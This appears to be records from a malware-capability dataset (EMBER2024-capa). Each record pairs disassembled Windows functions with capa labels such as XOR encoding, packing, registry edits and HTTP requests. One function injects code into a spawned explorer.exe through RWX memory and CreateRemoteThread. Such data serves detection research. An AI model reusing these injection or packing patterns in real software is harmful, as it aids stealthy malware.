joyce8/EMBER2024-capa huggingface dataset:
Function at 0x72e0c0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov eax, 0x18
call fcn.005f0180
mov eax, dword [0x85e00c]
xor eax, esp
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x28]
mov dword [esp], eax
mov eax, dword [ecx]
push ebp
mov ebp, dword [esp + 0x30]
mov dword [esp + 8], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x72e1c9
push ebx
mov ebx, dword [esp + 0x2c]
push esi
push edi
lea esi, [edx + 2]
lea edi, [ebx + 3]
sub ebx, edx
nop dword [eax]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call fcn.0072e480
movzx ecx, byte [edi - 3]
lea edi, [edi + 8]
movzx eax, byte [esp + 0x28]
lea esi, [esi + 8]
xor ecx, eax
add esp, 0xc
movzx eax, byte [esp + 0x1d]
mov byte [esi - 0xa], cl
mov byte [esp + 0x14], cl
movzx ecx, byte [edi - 0xa]
xor ecx, eax
movzx eax, byte [esp + 0x1e]
mov byte [esi - 9], cl
mov byte [esp + 0x15], cl
movzx ecx, byte [esi + ebx - 8]
xor ecx, eax
movzx eax, byte [esp + 0x1f]
mov byte [esi - 8], cl
mov byte [esp + 0x16], cl
movzx ecx, byte [edi - 8]
xor ecx, eax
movzx eax, byte [esp + 0x20]
mov byte [esi - 7], cl
mov byte [esp + 0x17], cl
movzx ecx, byte [edi - 7]
xor ecx, eax
movzx eax, byte [esp + 0x21]
mov byte [esi - 6], cl
mov byte [esp + 0x18], cl
movzx ecx, byte [edi - 6]
xor ecx, eax
movzx eax, byte [esp + 0x22]
mov byte [esi - 5], cl
mov byte [esp + 0x19], cl
movzx ecx, byte [edi - 5]
xor ecx, eax
movzx eax, byte [esp + 0x23]
mov byte [esi - 4], cl
mov byte [esp + 0x1a], cl
movzx ecx, byte [edi - 4]
xor ecx, eax
mov byte [esi - 3], cl
mov byte [esp + 0x1b], cl
sub ebp, 1
jne 0x72e110
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
pop ebp
xor ecx, esp
call fcn.00419933
add esp, 0x18
ret
Function at 0x730490
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10
call fcn.005f0180
mov edx, dword [esp + 0x20]
xor ecx, ecx
test edx, edx
je 0x730585
push ebx
mov ebx, dword [esp + 0x20]
push esi
mov esi, dword [esp + 0x1c]
push edi
mov edi, dword [esp + 0x24]
cmp edx, 0x20
jb 0x73055e
push ebp
lea eax, [ebx - 1]
lea ebp, [esi - 1]
add eax, edx
add ebp, edx
cmp esi, eax
ja 0x7304d7
cmp ebp, ebx
jae 0x73055d
lea eax, [edi - 1]
add eax, edx
cmp esi, eax
ja 0x7304e4
cmp ebp, edi
jae 0x73055d
mov eax, edx
lea ebp, [esi + 0x10]
mov edx, edi
and eax, 0xffffffe0
sub edx, ebx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], edx
mov eax, ebx
mov edx, esi
sub edx, ebx
mov dword [esp + 0x14], edx
mov edx, edi
mov edi, dword [esp + 0x14]
sub edx, esi
mov esi, dword [esp + 0x10]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x30]
mov ebx, dword [esp + 0x18]
nop word [eax + eax]
movups xmm0, xmmword [eax]
add ecx, 0x20
lea eax, [eax + 0x20]
lea ebp, [ebp + 0x20]
movups xmm1, xmmword [esi + eax - 0x20]
pxor xmm1, xmm0
movups xmmword [edi + eax - 0x20], xmm1
movups xmm1, xmmword [ebx + ebp - 0x20]
movups xmm0, xmmword [eax - 0x10]
pxor xmm1, xmm0
movups xmmword [ebp - 0x20], xmm1
cmp ecx, dword [esp + 0x1c]
jb 0x730520
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
pop ebp
cmp ecx, edx
jae 0x730582
sub edi, ebx
lea eax, [ecx + ebx]
sub esi, ebx
sub edx, ecx
nop dword [eax + eax]
mov cl, byte [eax + edi]
lea eax, [eax + 1]
xor cl, byte [eax - 1]
mov byte [eax + esi - 1], cl
sub edx, 1
jne 0x730570
pop edi
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x735a80
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x756272
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push esi
push edi
push ecx
lea edi, [ebp - 0x3c]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x85e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
push str.C:LogResLog.dll
lea ecx, [ebp - 0x30]
call fcn.00409440
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00409240
mov esi, esp
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp esi, esp
call fcn.00740732
test eax, eax
je 0x735b06
mov byte [ebp - 0x39], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00409350
mov al, byte [ebp - 0x39]
jmp 0x735b6d
call fcn.00430b88
test eax, eax
je 0x735b27
mov byte [ebp - 0x3a], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00409350
mov al, byte [ebp - 0x3a]
jmp 0x735b6d
push 0x270f
push 0
call fcn.0043c193
add esp, 8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x64
jg 0x735b57
mov byte [ebp - 0x3b], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00409350
mov al, byte [ebp - 0x3b]
jmp 0x735b6d
mov byte [ebp - 0x3c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00409350
mov al, byte [ebp - 0x3c]
push edx
mov ecx, ebp
push eax
lea edx, [0x735ba4]
call fcn.007406de
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419933
add esp, 0x3c
cmp ebp, esp
call fcn.00740732
mov esp, ebp
pop ebp
ret
Function at 0x7390c0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push esi
push edi
push ecx
lea edi, [ebp - 0x228]
mov ecx, 0x8a
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x85e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
push 0x208
push 0
lea eax, [ebp - 0x214]
push eax
call fcn.005c1f30
add esp, 0xc
push 0x7fa63c
push str.SoftWare_s
lea ecx, [ebp - 0x214]
push ecx
call fcn.0040d2b0
add esp, 0xc
mov dword [ebp - 0x220], 0
mov esi, esp
lea edx, [ebp - 0x220]
push edx
push 0xf013f
push 0
lea eax, [ebp - 0x214]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp esi, esp
call fcn.00740732
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jne 0x73918d
mov esi, esp
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp esi, esp
call fcn.00740732
mov esi, esp
mov eax, dword [ebp - 0x220]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.00740732
mov ecx, dword [ebp - 8]
add ecx, 0x154
call fcn.00409240
mov esi, esp
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
cmp esi, esp
call fcn.00740732
push edx
mov ecx, ebp
push eax
lea edx, [0x7391e4]
call fcn.007406de
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419933
add esp, 0x228
cmp ebp, esp
call fcn.00740732
mov esp, ebp
pop ebp
ret 4
Function at 0x739390
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x756813
mov eax, dword fs:[0]
push eax
mov eax, 0x2050
call fcn.005f0180
push esi
push edi
push ecx
lea edi, [ebp - 0x205c]
mov ecx, 0x814
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x85e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2058], 0
push 0x2000
push 0
lea eax, [ebp - 0x2018]
push eax
call fcn.005c1f30
add esp, 0xc
mov ecx, dword [ebp - 0x14]
add ecx, 0x154
call fcn.00409240
mov esi, esp
push eax
push 0x1000
lea ecx, [ebp - 0x2018]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp esi, esp
call fcn.00740732
lea edx, [ebp - 0x2018]
push edx
lea ecx, [ebp - 0x2038]
call fcn.00409440
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x14]
push eax
lea ecx, [ebp - 0x2038]
call fcn.00409240
push eax
call fcn.005c5a49
add esp, 8
test eax, eax
jne 0x7394a1
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x2054]
push ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042f56f
mov dword [ebp - 0x205c], eax
mov edx, dword [ebp - 0x205c]
push edx
lea ecx, [ebp - 0x2038]
call fcn.0040d5d0
lea ecx, [ebp - 0x2054]
call fcn.00409350
lea eax, [ebp - 0x2038]
push eax
mov ecx, dword [ebp + 8]
call fcn.004093b0
mov ecx, dword [ebp - 0x2058]
or ecx, 1
mov dword [ebp - 0x2058], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2038]
call fcn.00409350
mov eax, dword [ebp + 8]
push edx
mov ecx, ebp
push eax
lea edx, [0x739510]
call fcn.007406de
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419933
add esp, 0x205c
cmp ebp, esp
call fcn.00740732
mov esp, ebp
pop ebp
ret 0x10
Function at 0x7405c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
lea edi, [ebp - 0x230]
mov ecx, 0x8c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x85e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov esi, esp
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp esi, esp
call fcn.00740732
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x740666
mov esi, esp
push 0x104
lea ecx, [ebp - 0x220]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp esi, esp
call fcn.00740732
test eax, eax
je 0x740666
mov dword [ebp - 0x22c], 1
mov esi, esp
push 4
lea edx, [ebp - 0x22c]
push edx
push 4
push 0
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp esi, esp
call fcn.00740732
push edx
mov ecx, ebp
push eax
lea edx, [0x740694]
call fcn.007406de
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419933
add esp, 0x230
cmp ebp, esp
call fcn.00740732
mov esp, ebp
pop ebp
ret

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401d7f
Capabilities:
Create process on windows
Delete file
Move file

Disassembly:
push 0x54
mov eax, 0x413095
call fcn.004040e1
push 0x414482
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryA]
push 0x414468
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x401dc7
push str.SetDefaultDllDirectories
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x401dc0
push 0xc00
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x52
pop esi
mov edi, 0x41908c
push edi
lea ecx, [ebp - 0x10]
call fcn.00401328
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 4], ebx
call fcn.00401b1c
pop ecx
test eax, eax
je 0x401f11
push dword [ebp + 0x10]
lea ecx, [ebp - 0x14]
call fcn.00401807
lea eax, [ebp - 0x24]
push eax
mov byte [ebp - 4], 1
call fcn.00402290
pop ecx
cmp byte [eax + 7], 0xff
mov byte [ebp - 4], 2
jne 0x401e12
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401848
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.00402c80
push dword [ebp + 0x10]
lea eax, [ebp - 0x14]
push dword [ebp - 0x1c]
push str._orgexename__s___s
push eax
call fcn.004017d4
push 0x38
lea eax, [ebp - 0x5c]
push ebx
push eax
call fcn.00404200
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4c], eax
add esp, 0x1c
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x60], 0x3c
mov dword [ebp - 0x5c], 0x40
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], str.open
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x401ec8
push str.actionwrapper_startedvalue0
lea ecx, [ebp - 0x18]
xor esi, esi
call fcn.00401807
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 5
call fcn.00401889
pop ecx
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov byte [ebp - 4], 4
call fcn.0040116b
push 0xffffffffffffffff
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401ed0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x401ef4
push 4
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.0040116b
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.0040116b
cmp esi, ebx
je 0x401f47
push edi
lea ecx, [ebp - 0x14]
call fcn.00401328
push esi
lea eax, [ebp - 0x14]
push str.actionwrapper_startedvalue_d
push eax
mov byte [ebp - 4], 6
call fcn.004017d4
lea eax, [ebp - 0x14]
push eax
call fcn.00401889
mov ecx, dword [ebp - 0x14]
add esp, 0x10
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.0040116b
push str._StubSelfUpdate
push dword [ebp + 0x10]
call fcn.00403846
pop ecx
pop ecx
test eax, eax
je 0x401f5f
call fcn.00402070
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040116b
mov eax, esi
call fcn.0040414a
ret 0x10
Function at 0x402000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x48], 0x44
push 0x40
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.00404200
add esp, 0xc
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push str.explorer.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402056
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x58]
jmp 0x402058
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402070
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x4190d0]
xor eax, ebp
mov dword [ebp - 0xc], eax
call fcn.00402000
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jne 0x40209e
xor eax, eax
jmp 0x40227f
push 0x40
push 0x3000
push 0x198
push 0
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jne 0x4020dc
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x40227f
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x134]
add edx, 0x80
mov dword [ebp - 0x190], edx
push 0x414548
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x128], eax
push 0x41453c
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x124], eax
push 0x414530
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x11c], eax
push str.DeleteFileA
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x120], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x12c], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea edx, [ebp - 0x114]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 0x401fb0
call fcn.00402060
add esp, 4
push eax
mov eax, dword [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x118
lea edx, [ebp - 0x128]
push edx
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dl, byte [0x414482]
mov byte [ebp - 0x188], dl
push 0x4f
push 0
lea eax, [ebp - 0x187]
push eax
call fcn.00404200
add esp, 0xc
mov ecx, dword [ebp - 0x190]
push ecx
mov edx, dword [ebp - 0x134]
push edx
push str._x__x_n
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x188]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
je 0x40227a
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004040d2
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x7530
push 4
lea eax, [ebp - 8]
push eax
push 2
push 0
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push 4
lea ecx, [ebp - 8]
push ecx
push 6
push 0
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push 4
lea edx, [ebp - 8]
push edx
push 5
push 0
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push 0
push 0
push 0
push 0
push 0x414578
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40243d
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40242c
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 4], 0
mov esp, ebp
pop ebp
ret

Function at 0x402480
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413118
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x4190d0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x41a428], 0
jne 0x4024b6
jmp 0x402595
cmp dword [0x419020], 0
jne 0x4024c4
jmp 0x402595
lea eax, [ebp - 0x34]
push eax
call fcn.00401f79
add esp, 4
lea ecx, [ebp - 0x34]
push ecx
call fcn.00401f74
add esp, 4
mov dword [ebp - 0x10], eax
mov dl, byte [0x414482]
mov byte [ebp - 0x30], dl
xor eax, eax
mov dword [ebp - 0x2f], eax
mov dword [ebp - 0x2b], eax
mov dword [ebp - 0x27], eax
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
push 0x19
push 0
lea ecx, [ebp - 0x30]
push ecx
call fcn.00404200
add esp, 0xc
push 0x18
mov edx, dword [ebp - 0x10]
push edx
call fcn.004054b1
add esp, 4
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00404c80
add esp, 0xc
lea ecx, [ebp - 0x3c]
call fcn.00402b10
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
call fcn.004011c3
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
push ecx
lea edx, [ebp - 0x30]
push edx
push str.__s___s_r_n
lea eax, [ebp - 0x3c]
push eax
call fcn.004031d0
add esp, 0x10
mov dword [ebp - 0x40], 0
push 0
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x3c]
call fcn.00402b20
push eax
lea ecx, [ebp - 0x3c]
call fcn.004011c3
push eax
mov edx, dword [0x41a428]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c]
call fcn.00402c80
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004040d2
mov esp, ebp
pop ebp
ret
Function at 0x4029f5
Capabilities:
Get geographical location

Disassembly:
push ebp
sub esp, 0x9c
lea ebp, [esp - 4]
mov eax, dword [0x4190d0]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push 0xc
mov eax, 0x4131e1
call fcn.004040e1
mov edi, dword [ebp + 0xa8]
and dword [ebp - 0x14], 0
mov ecx, edi
mov dword [ebp - 0x18], edi
call fcn.00401448
xor esi, esi
inc esi
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], esi
call fcn.00401448
and dword [ebp], 0
push 0x98
lea eax, [ebp + 4]
push 0
push eax
mov dword [ebp - 4], esi
call fcn.00404200
mov esi, 0x9c
push esi
lea eax, [ebp]
push 0
push eax
call fcn.00404200
add esp, 0x18
lea eax, [ebp]
mov dword [ebp], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x402a86
lea eax, [ebp]
push eax
mov dword [ebp], 0x94
call esi
mov eax, 0x104
push eax
push eax
lea ecx, [ebp - 0x10]
call fcn.0040148d
push eax
push 0x59
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.004012da
lea ecx, [ebp - 0x10]
call fcn.004011f6
push eax
movzx eax, word [ebp + 0x94]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 4]
push str._d._d._dSP_d_s
push edi
call fcn.004017d4
add esp, 0x1c
lea ecx, [ebp - 0x10]
call fcn.0040134d
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.004040d2
add ebp, 0xa0
leave
ret

Function at 0x4040d2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4190d0]
jne 0x4040dc
repz ret
jmp fcn.0040943c
Function at 0x40f9dc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4190d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00408ee0
and dword [ebp - 0x14], 0
cmp dword [0x41b328], 0
mov dword [ebp - 0x18], eax
jne 0x40fa8f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40fb37
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40fb37
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41b328], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41b32c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41b330], eax
call edi
push eax
call esi
mov dword [0x41b338], eax
test eax, eax
je 0x40fa8f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41b334], eax
mov eax, dword [0x41b334]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40fae8
cmp dword [0x41b338], ecx
je 0x40fae8
push eax
call esi
push dword [0x41b338]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40fae8
test ebx, ebx
je 0x40fae8
call edi
test eax, eax
je 0x40fadf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40fadf
test byte [ebp - 8], 1
jne 0x40fae8
or dword [ebp + 0x10], 0x200000
jmp 0x40fb1b
mov eax, dword [0x41b32c]
cmp eax, dword [ebp - 0x18]
je 0x40fb1b
push eax
call esi
test eax, eax
je 0x40fb1b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40fb1b
mov eax, dword [0x41b330]
cmp eax, dword [ebp - 0x18]
je 0x40fb1b
push eax
call esi
test eax, eax
je 0x40fb1b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41b328]
call esi
test eax, eax
je 0x40fb37
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40fb39
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004040d2
leave
ret